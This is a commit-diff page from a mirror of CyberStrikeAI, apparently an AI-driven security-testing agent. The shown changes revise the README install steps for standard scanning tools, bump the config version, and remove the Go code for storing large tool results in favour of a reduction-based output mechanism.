mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-06-25 23:40:09 +02:00
Compare commits
78 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 8d622f63ff | |||
| 20b05146fb | |||
| d8768eae76 | |||
| 9232cee38d | |||
| 6c975e63d2 | |||
| e175523b82 | |||
| ae23427d9e | |||
| 93a2504ce3 | |||
| 09b0479fb3 | |||
| 2bdc9d4fe0 | |||
| 01b3d8056c | |||
| ed479d5e4d | |||
| a49f595231 | |||
| 82cf014a5e | |||
| 508de5fad0 | |||
| 6712344411 | |||
| 7eadccbff6 | |||
| 01b361e4a7 | |||
| f6ce31c961 | |||
| d5a0f93c6c | |||
| 56faefaaf9 | |||
| 16e9c5874a | |||
| 41b5cdde6b | |||
| cf1f8515d9 | |||
| 5e2b30c029 | |||
| 8c7c22369e | |||
| 9b1aba692b | |||
| db730b48c1 | |||
| dfb7dd7390 | |||
| 9f6eb33047 | |||
| 616d87f4cc | |||
| 8d999792b8 | |||
| afae8970d1 | |||
| 4d7330c5c3 | |||
| 8884bfb0b4 | |||
| fb351c80b6 | |||
| 664834e338 | |||
| 95bf62db88 | |||
| 656242614d | |||
| a9d6d8c00e | |||
| 0d6a43c0a8 | |||
| 702f286eb1 | |||
| f4906543a8 | |||
| b073421637 | |||
| 08436c27aa | |||
| 25ce0b221f | |||
| 87e629f270 | |||
| 04f8d73b0e | |||
| 33e4f023b5 | |||
| fc2e822448 | |||
| 7487c45799 | |||
| 6c4b3bf131 | |||
| 54cea1b172 | |||
| b8775997e4 | |||
| 4223ec47f9 | |||
| 9887589d99 | |||
| b7c01f41c7 | |||
| 1d3b4c44e1 | |||
| cbd64173b8 | |||
| af71c6aa24 | |||
| 97a73a1cb6 | |||
| 83e1c707ca | |||
| 96ccbff77c | |||
| c4bd8b93f6 | |||
| d005268d28 | |||
| 7f4e8d2ad2 | |||
| f3be355820 | |||
| bf0ce33e3f | |||
| 4661862a1a | |||
| f319a0f243 | |||
| 15c4802319 | |||
| 6ffde48b0c | |||
| c5e2f0d95d | |||
| 28a826d5b7 | |||
| 6365de7018 | |||
| 2e4bf7197b | |||
| ed4ba08163 | |||
| 8b5e55a673 |
@@ -189,15 +189,21 @@ The `run.sh` script will automatically:
|
|||||||
```
|
```
|
||||||
- Or edit `config.yaml` directly before launching
|
- Or edit `config.yaml` directly before launching
|
||||||
2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
|
2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
|
||||||
3. **Install security tools (optional)** - Install all tools declared under `tools/`:
|
3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
|
||||||
|
|
||||||
|
**macOS (Homebrew):**
|
||||||
```bash
|
```bash
|
||||||
./install-tools.sh # install missing tools (best on Kali/Debian/Ubuntu)
|
brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
|
||||||
./install-tools.sh --check # check only, no install
|
|
||||||
./install-tools.sh --list # show per-tool status
|
|
||||||
./install-tools.sh --only nmap,gau # install selected tools only
|
|
||||||
```
|
```
|
||||||
On macOS, install bash 4+ via Homebrew first; without apt, the script falls back to pip/go/GitHub.
|
|
||||||
AI automatically falls back to alternatives when a tool is missing.
|
**Linux (Kali / Debian / Ubuntu):**
|
||||||
|
```bash
|
||||||
|
sudo apt update
|
||||||
|
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
|
||||||
|
# On some distros, install ffuf/nuclei/subfinder via go install or upstream docs
|
||||||
|
```
|
||||||
|
|
||||||
|
See the `tools/` directory for the full list; refer to each tool's official docs for install details.
|
||||||
|
|
||||||
**Alternative Launch Methods:**
|
**Alternative Launch Methods:**
|
||||||
```bash
|
```bash
|
||||||
@@ -306,7 +312,7 @@ Requirements / tips:
|
|||||||
### Tool Orchestration & Extensions
|
### Tool Orchestration & Extensions
|
||||||
- **YAML recipes** in `tools/*.yaml` describe commands, arguments, prompts, and metadata.
|
- **YAML recipes** in `tools/*.yaml` describe commands, arguments, prompts, and metadata.
|
||||||
- **Directory hot-reload** – pointing `security.tools_dir` to a folder is usually enough; inline definitions in `config.yaml` remain supported for quick experiments.
|
- **Directory hot-reload** – pointing `security.tools_dir` to a folder is usually enough; inline definitions in `config.yaml` remain supported for quick experiments.
|
||||||
- **Large-result pagination** – outputs beyond 200 KB are stored as artifacts retrievable through the `query_execution_result` tool with paging, filters, and regex search.
|
- **Large tool outputs** – outputs beyond `reduction_max_length_for_trunc` are summarized via Eino reduction with full content persisted under `tmp/reduction/`; use `read_file` on the path in `<persisted-output>`.
|
||||||
- **Result compression** – multi-megabyte logs can be summarized or losslessly compressed before persisting to keep SQLite lean.
|
- **Result compression** – multi-megabyte logs can be summarized or losslessly compressed before persisting to keep SQLite lean.
|
||||||
|
|
||||||
**Creating a custom tool (typical flow)**
|
**Creating a custom tool (typical flow)**
|
||||||
|
|||||||
+14
-8
@@ -188,15 +188,21 @@ chmod +x run.sh && ./run.sh
|
|||||||
```
|
```
|
||||||
- 或启动前直接编辑 `config.yaml` 文件
|
- 或启动前直接编辑 `config.yaml` 文件
|
||||||
2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password`)
|
2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password`)
|
||||||
3. **安装安全工具(可选)** - 一键安装 `tools/` 目录声明的全部工具:
|
3. **安装安全工具(可选)** - 按需安装 `tools/` 目录中的工具;未安装的工具在执行时会自动跳过或改用替代方案。常用示例:
|
||||||
|
|
||||||
|
**macOS(Homebrew):**
|
||||||
```bash
|
```bash
|
||||||
./install-tools.sh # 安装缺失工具 (Kali/Debian/Ubuntu 推荐)
|
brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
|
||||||
./install-tools.sh --check # 仅检查, 不安装
|
|
||||||
./install-tools.sh --list # 列出各工具安装状态
|
|
||||||
./install-tools.sh --only nmap,gau # 只装指定工具
|
|
||||||
```
|
```
|
||||||
macOS 自带 bash 3.2, 请用 `./install-tools.sh --install-bash --list` 自动安装 bash 4+; apt 不可用时会降级到 pip/go/GitHub。
|
|
||||||
未安装的工具在执行时会自动跳过或改用替代方案。
|
**Linux(Kali / Debian / Ubuntu):**
|
||||||
|
```bash
|
||||||
|
sudo apt update
|
||||||
|
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
|
||||||
|
# 部分发行版需自行安装:ffuf、nuclei、subfinder 等可用 go install 或见各工具官网
|
||||||
|
```
|
||||||
|
|
||||||
|
完整工具列表见 `tools/` 目录;各工具安装方式以官方文档为准。
|
||||||
|
|
||||||
**其他启动方式:**
|
**其他启动方式:**
|
||||||
```bash
|
```bash
|
||||||
@@ -304,7 +310,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
|||||||
### 工具编排与扩展
|
### 工具编排与扩展
|
||||||
- `tools/*.yaml` 定义命令、参数、提示词与元数据,可热加载。
|
- `tools/*.yaml` 定义命令、参数、提示词与元数据,可热加载。
|
||||||
- `security.tools_dir` 指向目录即可批量启用;仍支持在主配置里内联定义。
|
- `security.tools_dir` 指向目录即可批量启用;仍支持在主配置里内联定义。
|
||||||
- **大结果分页**:超过 200KB 的输出会保存为附件,可通过 `query_execution_result` 工具分页、过滤、正则检索。
|
- **大工具输出**:超过 `reduction_max_length_for_trunc` 时由 Eino reduction 摘要,完整内容落盘至 `tmp/reduction/`;按 `<persisted-output>` 中的路径用 `read_file` 读取。
|
||||||
- **结果压缩/摘要**:多兆字节日志可先压缩或生成摘要再写入 SQLite,减小档案体积。
|
- **结果压缩/摘要**:多兆字节日志可先压缩或生成摘要再写入 SQLite,减小档案体积。
|
||||||
|
|
||||||
**自定义工具的一般步骤**
|
**自定义工具的一般步骤**
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ import (
|
|||||||
"cyberstrike-ai/internal/logger"
|
"cyberstrike-ai/internal/logger"
|
||||||
"cyberstrike-ai/internal/mcp"
|
"cyberstrike-ai/internal/mcp"
|
||||||
"cyberstrike-ai/internal/security"
|
"cyberstrike-ai/internal/security"
|
||||||
"cyberstrike-ai/internal/storage"
|
|
||||||
"flag"
|
"flag"
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
@@ -33,23 +32,6 @@ func main() {
|
|||||||
// 创建安全工具执行器
|
// 创建安全工具执行器
|
||||||
executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
|
executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
|
||||||
|
|
||||||
// 初始化结果存储(与 internal/app/app.go 同样的逻辑)。
|
|
||||||
// stdio 模式下原本不初始化,导致 'exec' 等查询型工具报"结果存储未初始化"。
|
|
||||||
resultStorageDir := "tmp"
|
|
||||||
if cfg.Agent.ResultStorageDir != "" {
|
|
||||||
resultStorageDir = cfg.Agent.ResultStorageDir
|
|
||||||
}
|
|
||||||
if err := os.MkdirAll(resultStorageDir, 0755); err != nil {
|
|
||||||
fmt.Fprintf(os.Stderr, "创建结果存储目录失败: %v\n", err)
|
|
||||||
os.Exit(1)
|
|
||||||
}
|
|
||||||
resultStorage, err := storage.NewFileResultStorage(resultStorageDir, log.Logger)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Fprintf(os.Stderr, "初始化结果存储失败: %v\n", err)
|
|
||||||
os.Exit(1)
|
|
||||||
}
|
|
||||||
executor.SetResultStorage(resultStorage)
|
|
||||||
|
|
||||||
// 注册工具
|
// 注册工具
|
||||||
executor.RegisterTools(mcpServer)
|
executor.RegisterTools(mcpServer)
|
||||||
|
|
||||||
@@ -61,4 +43,3 @@ func main() {
|
|||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
-3
@@ -10,7 +10,7 @@
|
|||||||
# ============================================
|
# ============================================
|
||||||
|
|
||||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||||
version: "v1.6.35"
|
version: "v1.6.40"
|
||||||
# 服务器配置
|
# 服务器配置
|
||||||
server:
|
server:
|
||||||
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
||||||
@@ -92,8 +92,6 @@ fofa:
|
|||||||
# 达到最大迭代次数时,AI 会自动总结测试结果
|
# 达到最大迭代次数时,AI 会自动总结测试结果
|
||||||
agent:
|
agent:
|
||||||
max_iterations: 12000 # 全局最大迭代次数(单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用;agents/*.md 中 max_iterations>0 可单独覆盖)
|
max_iterations: 12000 # 全局最大迭代次数(单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用;agents/*.md 中 max_iterations>0 可单独覆盖)
|
||||||
large_result_threshold: 102400 # 大结果阈值(字节),默认50KB,超过此大小会自动保存到存储
|
|
||||||
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
|
|
||||||
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
|
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
|
||||||
# system_prompt_path: prompts/single-agent.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
|
# system_prompt_path: prompts/single-agent.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 726 KiB After Width: | Height: | Size: 941 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 179 KiB |
-1064
File diff suppressed because it is too large
Load Diff
+17
-135
@@ -18,7 +18,6 @@ import (
|
|||||||
"cyberstrike-ai/internal/mcp"
|
"cyberstrike-ai/internal/mcp"
|
||||||
"cyberstrike-ai/internal/mcp/builtin"
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
"cyberstrike-ai/internal/openai"
|
"cyberstrike-ai/internal/openai"
|
||||||
"cyberstrike-ai/internal/storage"
|
|
||||||
|
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
@@ -32,8 +31,6 @@ type Agent struct {
|
|||||||
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
|
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
|
||||||
logger *zap.Logger
|
logger *zap.Logger
|
||||||
maxIterations int
|
maxIterations int
|
||||||
resultStorage ResultStorage // 结果存储
|
|
||||||
largeResultThreshold int // 大结果阈值(字节)
|
|
||||||
mu sync.RWMutex // 添加互斥锁以支持并发更新
|
mu sync.RWMutex // 添加互斥锁以支持并发更新
|
||||||
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
|
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
|
||||||
currentConversationID string // 当前对话ID(用于自动传递给工具)
|
currentConversationID string // 当前对话ID(用于自动传递给工具)
|
||||||
@@ -41,18 +38,6 @@ type Agent struct {
|
|||||||
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
|
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
|
||||||
}
|
}
|
||||||
|
|
||||||
// ResultStorage 结果存储接口(直接使用 storage 包的类型)
|
|
||||||
type ResultStorage interface {
|
|
||||||
SaveResult(executionID string, toolName string, result string) error
|
|
||||||
GetResult(executionID string) (string, error)
|
|
||||||
GetResultPage(executionID string, page int, limit int) (*storage.ResultPage, error)
|
|
||||||
SearchResult(executionID string, keyword string, useRegex bool) ([]string, error)
|
|
||||||
FilterResult(executionID string, filter string, useRegex bool) ([]string, error)
|
|
||||||
GetResultMetadata(executionID string) (*storage.ResultMetadata, error)
|
|
||||||
GetResultPath(executionID string) string
|
|
||||||
DeleteResult(executionID string) error
|
|
||||||
}
|
|
||||||
|
|
||||||
type agentConversationIDKey struct{}
|
type agentConversationIDKey struct{}
|
||||||
|
|
||||||
func withAgentConversationID(ctx context.Context, id string) context.Context {
|
func withAgentConversationID(ctx context.Context, id string) context.Context {
|
||||||
@@ -83,26 +68,6 @@ func NewAgent(cfg *config.OpenAIConfig, agentCfg *config.AgentConfig, mcpServer
|
|||||||
maxIterations = 30
|
maxIterations = 30
|
||||||
}
|
}
|
||||||
|
|
||||||
// 设置大结果阈值,默认50KB
|
|
||||||
largeResultThreshold := 50 * 1024
|
|
||||||
if agentCfg != nil && agentCfg.LargeResultThreshold > 0 {
|
|
||||||
largeResultThreshold = agentCfg.LargeResultThreshold
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置结果存储目录,默认tmp
|
|
||||||
resultStorageDir := "tmp"
|
|
||||||
if agentCfg != nil && agentCfg.ResultStorageDir != "" {
|
|
||||||
resultStorageDir = agentCfg.ResultStorageDir
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始化结果存储
|
|
||||||
var resultStorage ResultStorage
|
|
||||||
if resultStorageDir != "" {
|
|
||||||
// 导入storage包(避免循环依赖,使用接口)
|
|
||||||
// 这里需要在实际使用时初始化
|
|
||||||
// 暂时设为nil,在需要时初始化
|
|
||||||
}
|
|
||||||
|
|
||||||
// 配置HTTP Transport,优化连接管理和超时设置
|
// 配置HTTP Transport,优化连接管理和超时设置
|
||||||
transport := &http.Transport{
|
transport := &http.Transport{
|
||||||
DialContext: (&net.Dialer{
|
DialContext: (&net.Dialer{
|
||||||
@@ -133,20 +98,11 @@ func NewAgent(cfg *config.OpenAIConfig, agentCfg *config.AgentConfig, mcpServer
|
|||||||
externalMCPMgr: externalMCPMgr,
|
externalMCPMgr: externalMCPMgr,
|
||||||
logger: logger,
|
logger: logger,
|
||||||
maxIterations: maxIterations,
|
maxIterations: maxIterations,
|
||||||
resultStorage: resultStorage,
|
|
||||||
largeResultThreshold: largeResultThreshold,
|
|
||||||
toolNameMapping: make(map[string]string), // 初始化工具名称映射
|
toolNameMapping: make(map[string]string), // 初始化工具名称映射
|
||||||
toolDescriptionMode: "short",
|
toolDescriptionMode: "short",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// SetResultStorage 设置结果存储(用于避免循环依赖)
|
|
||||||
func (a *Agent) SetResultStorage(storage ResultStorage) {
|
|
||||||
a.mu.Lock()
|
|
||||||
defer a.mu.Unlock()
|
|
||||||
a.resultStorage = storage
|
|
||||||
}
|
|
||||||
|
|
||||||
// SetPromptBaseDir 设置单代理 system_prompt_path 相对路径的基准目录(一般为 config.yaml 所在目录)。
|
// SetPromptBaseDir 设置单代理 system_prompt_path 相对路径的基准目录(一般为 config.yaml 所在目录)。
|
||||||
func (a *Agent) SetPromptBaseDir(dir string) {
|
func (a *Agent) SetPromptBaseDir(dir string) {
|
||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
@@ -663,46 +619,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
|
|||||||
}
|
}
|
||||||
|
|
||||||
resultStr := resultText.String()
|
resultStr := resultText.String()
|
||||||
resultSize := len(resultStr)
|
|
||||||
|
|
||||||
// 检测大结果并保存
|
|
||||||
a.mu.RLock()
|
|
||||||
threshold := a.largeResultThreshold
|
|
||||||
storage := a.resultStorage
|
|
||||||
a.mu.RUnlock()
|
|
||||||
|
|
||||||
if resultSize > threshold && storage != nil {
|
|
||||||
// 异步保存大结果
|
|
||||||
go func() {
|
|
||||||
if err := storage.SaveResult(executionID, toolName, resultStr); err != nil {
|
|
||||||
a.logger.Warn("保存大结果失败",
|
|
||||||
zap.String("executionID", executionID),
|
|
||||||
zap.String("toolName", toolName),
|
|
||||||
zap.Error(err),
|
|
||||||
)
|
|
||||||
} else {
|
|
||||||
a.logger.Info("大结果已保存",
|
|
||||||
zap.String("executionID", executionID),
|
|
||||||
zap.String("toolName", toolName),
|
|
||||||
zap.Int("size", resultSize),
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
// 返回最小化通知
|
|
||||||
lines := strings.Split(resultStr, "\n")
|
|
||||||
filePath := ""
|
|
||||||
if storage != nil {
|
|
||||||
filePath = storage.GetResultPath(executionID)
|
|
||||||
}
|
|
||||||
notification := a.formatMinimalNotification(executionID, toolName, resultSize, len(lines), filePath)
|
|
||||||
|
|
||||||
return &ToolExecutionResult{
|
|
||||||
Result: notification,
|
|
||||||
ExecutionID: executionID,
|
|
||||||
IsError: result != nil && result.IsError,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return &ToolExecutionResult{
|
return &ToolExecutionResult{
|
||||||
Result: resultStr,
|
Result: resultStr,
|
||||||
@@ -711,57 +627,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
|
|||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// formatMinimalNotification 格式化最小化通知
|
|
||||||
func (a *Agent) formatMinimalNotification(executionID string, toolName string, size int, lineCount int, filePath string) string {
|
|
||||||
var sb strings.Builder
|
|
||||||
|
|
||||||
sb.WriteString(fmt.Sprintf("工具执行完成。结果已保存(ID: %s)。\n\n", executionID))
|
|
||||||
sb.WriteString("结果信息:\n")
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 工具: %s\n", toolName))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 大小: %d 字节 (%.2f KB)\n", size, float64(size)/1024))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 行数: %d 行\n", lineCount))
|
|
||||||
if filePath != "" {
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 文件路径: %s\n", filePath))
|
|
||||||
}
|
|
||||||
sb.WriteString("\n")
|
|
||||||
sb.WriteString("推荐使用 query_execution_result 工具查询完整结果:\n")
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 查询第一页: query_execution_result(execution_id=\"%s\", page=1, limit=100)\n", executionID))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 搜索关键词: query_execution_result(execution_id=\"%s\", search=\"关键词\")\n", executionID))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 过滤条件: query_execution_result(execution_id=\"%s\", filter=\"error\")\n", executionID))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 正则匹配: query_execution_result(execution_id=\"%s\", search=\"\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\", use_regex=true)\n", executionID))
|
|
||||||
sb.WriteString("\n")
|
|
||||||
if filePath != "" {
|
|
||||||
sb.WriteString("如果 query_execution_result 工具不满足需求,也可以使用其他工具处理文件:\n")
|
|
||||||
sb.WriteString("\n")
|
|
||||||
sb.WriteString("**分段读取示例:**\n")
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 查看前100行: exec(command=\"head\", args=[\"-n\", \"100\", \"%s\"])\n", filePath))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 查看后100行: exec(command=\"tail\", args=[\"-n\", \"100\", \"%s\"])\n", filePath))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 查看第50-150行: exec(command=\"sed\", args=[\"-n\", \"50,150p\", \"%s\"])\n", filePath))
|
|
||||||
sb.WriteString("\n")
|
|
||||||
sb.WriteString("**搜索和正则匹配示例:**\n")
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 搜索关键词: exec(command=\"grep\", args=[\"关键词\", \"%s\"])\n", filePath))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 正则匹配IP地址: exec(command=\"grep\", args=[\"-E\", \"\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\", \"%s\"])\n", filePath))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 不区分大小写搜索: exec(command=\"grep\", args=[\"-i\", \"关键词\", \"%s\"])\n", filePath))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 显示匹配行号: exec(command=\"grep\", args=[\"-n\", \"关键词\", \"%s\"])\n", filePath))
|
|
||||||
sb.WriteString("\n")
|
|
||||||
sb.WriteString("**过滤和统计示例:**\n")
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 统计总行数: exec(command=\"wc\", args=[\"-l\", \"%s\"])\n", filePath))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 过滤包含error的行: exec(command=\"grep\", args=[\"error\", \"%s\"])\n", filePath))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 排除空行: exec(command=\"grep\", args=[\"-v\", \"^$\", \"%s\"])\n", filePath))
|
|
||||||
sb.WriteString("\n")
|
|
||||||
sb.WriteString("**完整读取(不推荐大文件):**\n")
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 使用 cat 工具: cat(file=\"%s\")\n", filePath))
|
|
||||||
sb.WriteString(fmt.Sprintf(" - 使用 exec 工具: exec(command=\"cat\", args=[\"%s\"])\n", filePath))
|
|
||||||
sb.WriteString("\n")
|
|
||||||
sb.WriteString("**注意:**\n")
|
|
||||||
sb.WriteString(" - 直接读取大文件可能会再次触发大结果保存机制\n")
|
|
||||||
sb.WriteString(" - 建议优先使用分段读取和搜索功能,避免一次性加载整个文件\n")
|
|
||||||
sb.WriteString(" - 正则表达式语法遵循标准 POSIX 正则表达式规范\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
return sb.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// UpdateConfig 更新OpenAI配置
|
// UpdateConfig 更新OpenAI配置
|
||||||
func (a *Agent) UpdateConfig(cfg *config.OpenAIConfig) {
|
func (a *Agent) UpdateConfig(cfg *config.OpenAIConfig) {
|
||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
@@ -923,6 +788,23 @@ func (a *Agent) RecordLocalToolExecution(toolName string, args map[string]interf
|
|||||||
return a.mcpServer.RecordCompletedToolInvocation(toolName, args, resultText, invokeErr)
|
return a.mcpServer.RecordCompletedToolInvocation(toolName, args, resultText, invokeErr)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// UpdateMCPExecutionDisplayResult 将监控库中的工具结果更新为送入模型的展示正文(reduction 后)。
|
||||||
|
func (a *Agent) UpdateMCPExecutionDisplayResult(executionID, resultText string) {
|
||||||
|
if a == nil || strings.TrimSpace(executionID) == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
text := resultText
|
||||||
|
if strings.TrimSpace(text) == "" {
|
||||||
|
text = "(无输出)"
|
||||||
|
}
|
||||||
|
tr := &mcp.ToolResult{
|
||||||
|
Content: []mcp.Content{{Type: "text", Text: text}},
|
||||||
|
}
|
||||||
|
if a.mcpServer != nil {
|
||||||
|
_ = a.mcpServer.UpdateToolExecutionResult(executionID, tr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// CancelMCPToolExecutionWithNote 取消一次进行中的 MCP 工具(先内部后外部),与监控页「终止工具」一致;note 非空时合并进返回给模型的文本。
|
// CancelMCPToolExecutionWithNote 取消一次进行中的 MCP 工具(先内部后外部),与监控页「终止工具」一致;note 非空时合并进返回给模型的文本。
|
||||||
func (a *Agent) CancelMCPToolExecutionWithNote(executionID, note string) bool {
|
func (a *Agent) CancelMCPToolExecutionWithNote(executionID, note string) bool {
|
||||||
executionID = strings.TrimSpace(executionID)
|
executionID = strings.TrimSpace(executionID)
|
||||||
|
|||||||
@@ -1,21 +1,16 @@
|
|||||||
package agent
|
package agent
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
|
||||||
|
|
||||||
"cyberstrike-ai/internal/config"
|
"cyberstrike-ai/internal/config"
|
||||||
"cyberstrike-ai/internal/mcp"
|
"cyberstrike-ai/internal/mcp"
|
||||||
"cyberstrike-ai/internal/storage"
|
|
||||||
|
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
|
|
||||||
// setupTestAgent 创建测试用的Agent
|
// setupTestAgent 创建测试用的Agent
|
||||||
func setupTestAgent(t *testing.T) (*Agent, *storage.FileResultStorage) {
|
func setupTestAgent(t *testing.T) *Agent {
|
||||||
logger := zap.NewNop()
|
logger := zap.NewNop()
|
||||||
mcpServer := mcp.NewServer(logger)
|
mcpServer := mcp.NewServer(logger)
|
||||||
|
|
||||||
@@ -26,205 +21,10 @@ func setupTestAgent(t *testing.T) (*Agent, *storage.FileResultStorage) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
agentCfg := &config.AgentConfig{
|
agentCfg := &config.AgentConfig{
|
||||||
MaxIterations: 10,
|
MaxIterations: 10,
|
||||||
LargeResultThreshold: 100, // 设置较小的阈值便于测试
|
|
||||||
ResultStorageDir: "",
|
|
||||||
}
|
}
|
||||||
|
|
||||||
agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 10)
|
return NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 10)
|
||||||
|
|
||||||
// 创建测试存储
|
|
||||||
tmpDir := filepath.Join(os.TempDir(), "test_agent_storage_"+time.Now().Format("20060102_150405"))
|
|
||||||
testStorage, err := storage.NewFileResultStorage(tmpDir, logger)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("创建测试存储失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
agent.SetResultStorage(testStorage)
|
|
||||||
|
|
||||||
return agent, testStorage
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAgent_FormatMinimalNotification(t *testing.T) {
|
|
||||||
agent, testStorage := setupTestAgent(t)
|
|
||||||
_ = testStorage // 避免未使用变量警告
|
|
||||||
|
|
||||||
executionID := "test_exec_001"
|
|
||||||
toolName := "nmap_scan"
|
|
||||||
size := 50000
|
|
||||||
lineCount := 1000
|
|
||||||
filePath := "tmp/test_exec_001.txt"
|
|
||||||
|
|
||||||
notification := agent.formatMinimalNotification(executionID, toolName, size, lineCount, filePath)
|
|
||||||
|
|
||||||
// 验证通知包含必要信息
|
|
||||||
if !strings.Contains(notification, executionID) {
|
|
||||||
t.Errorf("通知中应该包含执行ID: %s", executionID)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !strings.Contains(notification, toolName) {
|
|
||||||
t.Errorf("通知中应该包含工具名称: %s", toolName)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !strings.Contains(notification, "50000") {
|
|
||||||
t.Errorf("通知中应该包含大小信息")
|
|
||||||
}
|
|
||||||
|
|
||||||
if !strings.Contains(notification, "1000") {
|
|
||||||
t.Errorf("通知中应该包含行数信息")
|
|
||||||
}
|
|
||||||
|
|
||||||
if !strings.Contains(notification, "query_execution_result") {
|
|
||||||
t.Errorf("通知中应该包含查询工具的使用说明")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAgent_ExecuteToolViaMCP_LargeResult(t *testing.T) {
|
|
||||||
agent, _ := setupTestAgent(t)
|
|
||||||
|
|
||||||
// 创建模拟的MCP工具结果(大结果)
|
|
||||||
largeResult := &mcp.ToolResult{
|
|
||||||
Content: []mcp.Content{
|
|
||||||
{
|
|
||||||
Type: "text",
|
|
||||||
Text: strings.Repeat("This is a test line with some content.\n", 1000), // 约50KB
|
|
||||||
},
|
|
||||||
},
|
|
||||||
IsError: false,
|
|
||||||
}
|
|
||||||
|
|
||||||
// 模拟MCP服务器返回大结果
|
|
||||||
// 由于我们需要模拟CallTool的行为,这里需要创建一个mock或者使用实际的MCP服务器
|
|
||||||
// 为了简化测试,我们直接测试结果处理逻辑
|
|
